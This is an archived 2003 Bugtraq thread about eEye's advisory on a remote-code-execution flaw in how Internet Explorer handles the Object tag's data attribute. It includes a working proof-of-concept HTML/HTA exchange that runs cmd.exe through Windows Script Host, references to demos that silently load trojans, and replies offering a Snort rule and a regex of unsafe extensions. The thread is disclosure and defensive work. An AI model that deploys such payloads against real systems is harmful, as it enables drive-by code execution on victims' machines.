EEYE: Internet Explorer Object Data Remote Execution Vulnerability
Marc Maiffret
Release Date:
August 20, 2003
Reported Date:
May 15, 2003
Severity:
High (Remote Code Execution)
Systems Affected:
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 6.0 for Windows Server 2003
Description:
eEye Digital Security has discovered a security vulnerability in Microsoft's
Internet Explorer that would allow executable code to run automatically upon
rendering malicious HTML.
This is a flaw in Microsoft's primary contribution to HTML, the Object tag,
which is used to embed basically all ActiveX into HTML pages. The parameter
that specifies the remote location of data for objects is not checked to
validate the nature of the file being loaded, and therefore trojan
executables may be run from within a webpage as silently and as easily as
Internet Explorer parses image files or any other "safe" HTML content.
This attack may be utilized wherever IE parses HTML, including web sites,
e-mail, newsgroups, and within applications utilizing web-browsing
functionality.
Note:
On Windows 2003 Internet Explorer, this upgrade is noted as being "moderate"
rather than "critical." This is said to be because of Windows 2003's
"Enhanced Security Configuration Mode." In plain English, this just means
that Microsoft checked the "Disable ActiveX" box on Internet Explorer's
Security Properties. Windows 2003 Internet Explorer also disables by default
Visual Basic Script, Javascript, input forms, and even the ability to
download files.
Due to the popularity and prevalence of ActiveX on the Internet, users
running Windows 2003 "Enhanced Security Configuration" Mode may have chosen
to reactivate the ability to view active content. These users should be
aware that they are at critical risk for this vulnerability and should apply
the necessary patch.
Lastly, Microsoft attributes credit to eEye for this bug, stating it is the
"Object Type" bug. They do this after noting a variant of the "Object Type"
bug was found to be still vulnerable on certain language based systems.
However, the "Object Type" bug was our previous "Object" tag vulnerability.
That issue involved a stack based overflow in the "Type" property. This
current issue involves incorrect handling of the data specified by the
"Data" tag.
Technical Description:
--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------
-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191
<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------
This example is in the more traditional vein. In house, we set up a
demonstration system that silently loaded "bo2k" and "subseven" trojans from
within a single webpage.
The above example shows an entirely legitimate session. The only trick to
this is that the "Data" URL must not end in an unsafe extension (e.g.,
".exe", ".bat", etc). The "Content-Type" tag returned by the server is
treated by Internet Explorer as authoritative.
In other words, the client asks for a safe file, the server returns an
unsafe file, and Internet Explorer does not know what hit it.
What Internet Explorer should be doing in this case is not loading the
unsafe document at all, or it should prompt the user with a severe warning
about this file, with the default option being to save the file to disk.
We can generally guess what is going on here. As .hta or "HTML Application"
files are not binary and resemble - mechanically - HTML files, IE's check of
content will be unable to return that this file is anything but safe. The
second check of MIME type will see that we are requesting a safe file
type... and the third check of MIME type will be from the server saying this
is a HTML Application. For whatever reason, IE has ignored the returned MIME
type from a security context, but paid attention to it from an execution
context.
This attack was discovered through manual testing techniques. The hypothesis
was: "Internet Explorer has many avenues where it might be presented with
executable content. One of these avenues must be broken so that executable
content might be automatically run."
Protection:
Retina Network Security Scanner has been updated to identify this latest
Internet Explorer vulnerability.
Vendor Status:
Microsoft was notified and has released a patch for this vulnerability. The
patch is available at:
http://www.microsoft.com/technet/security/bulletin/MS03-032.asp
Credit:
Drew Copley (dco...@eeye.com), Research Engineer, eEye Digital Security
Greetings: Liu Die Yu, http-equiv, Stone Fisk, Dror Shalev, the Shrug,
Oliver Lavery, Brett Moore, Chung's Donut Shop, Jolly
Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail al...@eEye.com for
permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.
Feedback
Please send suggestions, updates, and comments to:
eEye Digital Security
http://www.eEye.com
in...@eEye.com
Marc Maiffret
code would have no affect on eMail clients as this is not a HTML email nor
was the data properly formatted, etc..., etc... However, due to VERY POORLY
written mail gateways, this eMail was being blocked at most gateways as
being a virus etc... Hence I have removed that data (you can find it on the
eEye website) and I am resending the advisory. So no need to eMail me about
this, I am aware of all those using poorly written software to protect their
organization, McAfee Groupshield being the biggest culprit.
-Marc
-------
Note:
Technical Description:
[Data Removed] We have removed the example data from this eMail due to mail
gateway filters not functioning properly and believing this eMail is a
virus. For the full advisory with all technical details please visit:
http://www.eeye.com/html/Research/Advisories/AD20030820.html
1...@malware.com
<!--
This attack may be utilized wherever IE parses HTML,
including web sites, e-mail, newsgroups, and within
applications utilizing web-browsing functionality.
-->
W0W !
[harmless .exe]
http://www.malware.com/drew.html
ouch !
Nerijus Krukauskas
> Internet Explorer Object Data Remote Execution Vulnerability
>
> Release Date:
> August 20, 2003
>
> Reported Date:
> May 15, 2003
>
> Severity:
> High (Remote Code Execution)
>
> Systems Affected:
> Microsoft Internet Explorer 5.01
> Microsoft Internet Explorer 5.5
> Microsoft Internet Explorer 6.0
> Microsoft Internet Explorer 6.0 for Windows Server 2003
>
> Description:
> eEye Digital Security has discovered a security vulnerability in Microsoft's
> Internet Explorer that would allow executable code to run automatically upon
> rendering malicious HTML.
>
> This is a flaw in Microsoft's primary contribution to HTML, the Object tag,
> which is used to embed basically all ActiveX into HTML pages. The parameter
> that specifies the remote location of data for objects is not checked to
> validate the nature of the file being loaded, and therefore trojan
> executables may be run from within a webpage as silently and as easily as
> Internet Explorer parses image files or any other "safe" HTML content.
>
> e-mail, newsgroups, and within applications utilizing web-browsing
> functionality.
<snip>
In case anyone needs a SNORT rule to catch attempts to exploit this
vulnerability:
#-----
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Internet
Explorer Object Data Remote Execution Vulnerability"; \
content:"F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"; \
nocase; flow:from_server, established; \
reference:cve,CAN-2003-0532; \
classtype:web-application-activity; rev:1;)
#-----
Any improvements and suggestions to this rule are highly welcomed.
--
NK @ Vilnius
nk.tinkle.lt
Menashe Eliezer
dangerous.
It has been used by MSBlaster/Lovsan worm. (Launching Local tftp.exe)
Finjan Software has modified the basic exploit code that has been =
published by eEye Digital Security. The following harmless demo creates =
"YouHaveBeenHacked.vbs" file on "C:\", which shows your login =
information - User name and domain:
http://www.finjan.com/mcrc/demos/objectdata/ver1.htm
We've decided to limit the distribution of Finjan Software "Auto Disk =
Format" demo, even though any hacker can create it based on the eEye =
Digital Security template.=20
Finjan Software is proactively blocking such demos at both the gateway =
and desktop levels.
(Including http://www.malware.com/drew.html )
We haven't issued an update for any of our products.
Regards,
Menashe Eliezer
Manager, Malicious Code Research Center
Finjan Software
http://www.finjan.com/mcrc
-----Original Message-----
From: Marc Maiffret [mailto:ma...@eeye.com]
Sent: Thursday, August 21, 2003 2:07 AM
To: BUGTRAQ
Subject: EEYE: Internet Explorer Object Data Remote Execution =
Vulnerability
Internet Explorer Object Data Remote Execution Vulnerability
Release Date:
August 20, 2003
Reported Date:
May 15, 2003
Severity:
High (Remote Code Execution)
Systems Affected:
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 6.0 for Windows Server 2003
Description:
eEye Digital Security has discovered a security vulnerability in =
Microsoft's
Internet Explorer that would allow executable code to run automatically =
upon
rendering malicious HTML.
This is a flaw in Microsoft's primary contribution to HTML, the Object =
tag,
which is used to embed basically all ActiveX into HTML pages. The =
parameter
that specifies the remote location of data for objects is not checked to
validate the nature of the file being loaded, and therefore trojan
executables may be run from within a webpage as silently and as easily =
as
Internet Explorer parses image files or any other "safe" HTML content.
This attack may be utilized wherever IE parses HTML, including web =
sites,
e-mail, newsgroups, and within applications utilizing web-browsing
functionality.
Note:
On Windows 2003 Internet Explorer, this upgrade is noted as being =
"moderate"
rather than "critical." This is said to be because of Windows 2003's
"Enhanced Security Configuration Mode." In plain English, this just =
means
that Microsoft checked the "Disable ActiveX" box on Internet Explorer's
Security Properties. Windows 2003 Internet Explorer also disables by =
default
Visual Basic Script, Javascript, input forms, and even the ability to
download files.
Due to the popularity and prevalence of ActiveX on the Internet, users
running Windows 2003 "Enhanced Security Configuration" Mode may have =
chosen
to reactivate the ability to view active content. These users should be
aware that they are at critical risk for this vulnerability and should =
apply
the necessary patch.
Lastly, Microsoft attributes credit to eEye for this bug, stating it is =
the
"Object Type" bug. They do this after noting a variant of the "Object =
Type"
bug was found to be still vulnerable on certain language based systems.
However, the "Object Type" bug was our previous "Object" tag =
vulnerability.
That issue involved a stack based overflow in the "Type" property. This
current issue involves incorrect handling of the data specified by the
"Data" tag.
Technical Description:
--------------Client HTTP request---------------------------
<html>
...
<object data=3D"www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------
-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191
<html>
<object id=3D'wsh'
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------
This example is in the more traditional vein. In house, we set up a
demonstration system that silently loaded "bo2k" and "subseven" trojans =
from
within a single webpage.
The above example shows an entirely legitimate session. The only trick =
to
this is that the "Data" URL must not end in an unsafe extension (e.g.,
".exe", ".bat", etc). The "Content-Type" tag returned by the server is
treated by Internet Explorer as authoritative.
In other words, the client asks for a safe file, the server returns an
unsafe file, and Internet Explorer does not know what hit it.
What Internet Explorer should be doing in this case is not loading the
unsafe document at all, or it should prompt the user with a severe =
warning
about this file, with the default option being to save the file to disk.
We can generally guess what is going on here. As .hta or "HTML =
Application"
files are not binary and resemble - mechanically - HTML files, IE's =
check of
content will be unable to return that this file is anything but safe. =
The
second check of MIME type will see that we are requesting a safe file
type... and the third check of MIME type will be from the server saying =
this
is a HTML Application. For whatever reason, IE has ignored the returned =
MIME
type from a security context, but paid attention to it from an execution
context.
This attack was discovered through manual testing techniques. The =
hypothesis
was: "Internet Explorer has many avenues where it might be presented =
with
executable content. One of these avenues must be broken so that =
executable
content might be automatically run."
Protection:
Retina Network Security Scanner has been updated to identify this latest
Internet Explorer vulnerability.
Vendor Status:
Microsoft was notified and has released a patch for this vulnerability. =
The
patch is available at:
http://www.microsoft.com/technet/security/bulletin/MS03-032.asp
Credit:
Drew Copley (dco...@eeye.com), Research Engineer, eEye Digital Security
Greetings: Liu Die Yu, http-equiv, Stone Fisk, Dror Shalev, the Shrug,
Oliver Lavery, Brett Moore, Chung's Donut Shop, Jolly
Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express =
consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail al...@eEye.com =
for
permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There =
are
NO warranties with regard to this information. In no event shall the =
author
be liable for any damages whatsoever arising out of or in connection =
with
the use or spread of this information. Any use of this information is at =
Fabio Pietrosanti (naif)
> In case anyone needs a SNORT rule to catch attempts to exploit this
> vulnerability:
>
> #-----
> alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Internet
> Explorer Object Data Remote Execution Vulnerability"; \
> content:"F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"; \
> nocase; flow:from_server, established; \
> reference:cve,CAN-2003-0532; \
> classtype:web-application-activity; rev:1;)
> #-----
This rules catch the response with the exploit's payload from the server that
may change depending on the exploits so matching the CLSID of WSH does not
detect the "vulnerability" beeing exploited but this specific exploits.
Altought there are many way of exploiting this vuln without using the Window
Scripting Host, it's possible to use it in many way like:
- VBScript
CreateObject("WScript.Shell")
- JavaScript
new ActiveXObject("WScript.shell");
or like in the demostration with the <object> tag .
The only way to detect it is to look at the data sent by the client beeing
exploited ( which can probably bypassed with fancy mhtml base64 encoded e-mail
or with an e-mail with a link to a site available in https )
For an effective signature we need a regexp that will catch everything
that start with <object, reach the field data= and look at the end of the string inside
"" matching everything that's NOT an unsafe extension ( .exe, .pif, .cab, etc, etc ) .
In perl should be something like:
/date="[^"]+\.(?!exe|bat|pif|cab|scr|etc|etc|antani)([^"])+?"/ ( tnx Md )
Regards
--
Fabio Pietrosanti ( naif )
E-mail: fa...@pietrosanti.it - na...@s0ftpj.org - na...@sikurezza.org
PGP Key available on my homepage: http://fabio.pietrosanti.it/
--
Security is a state of being, not a state of budget. rfp
--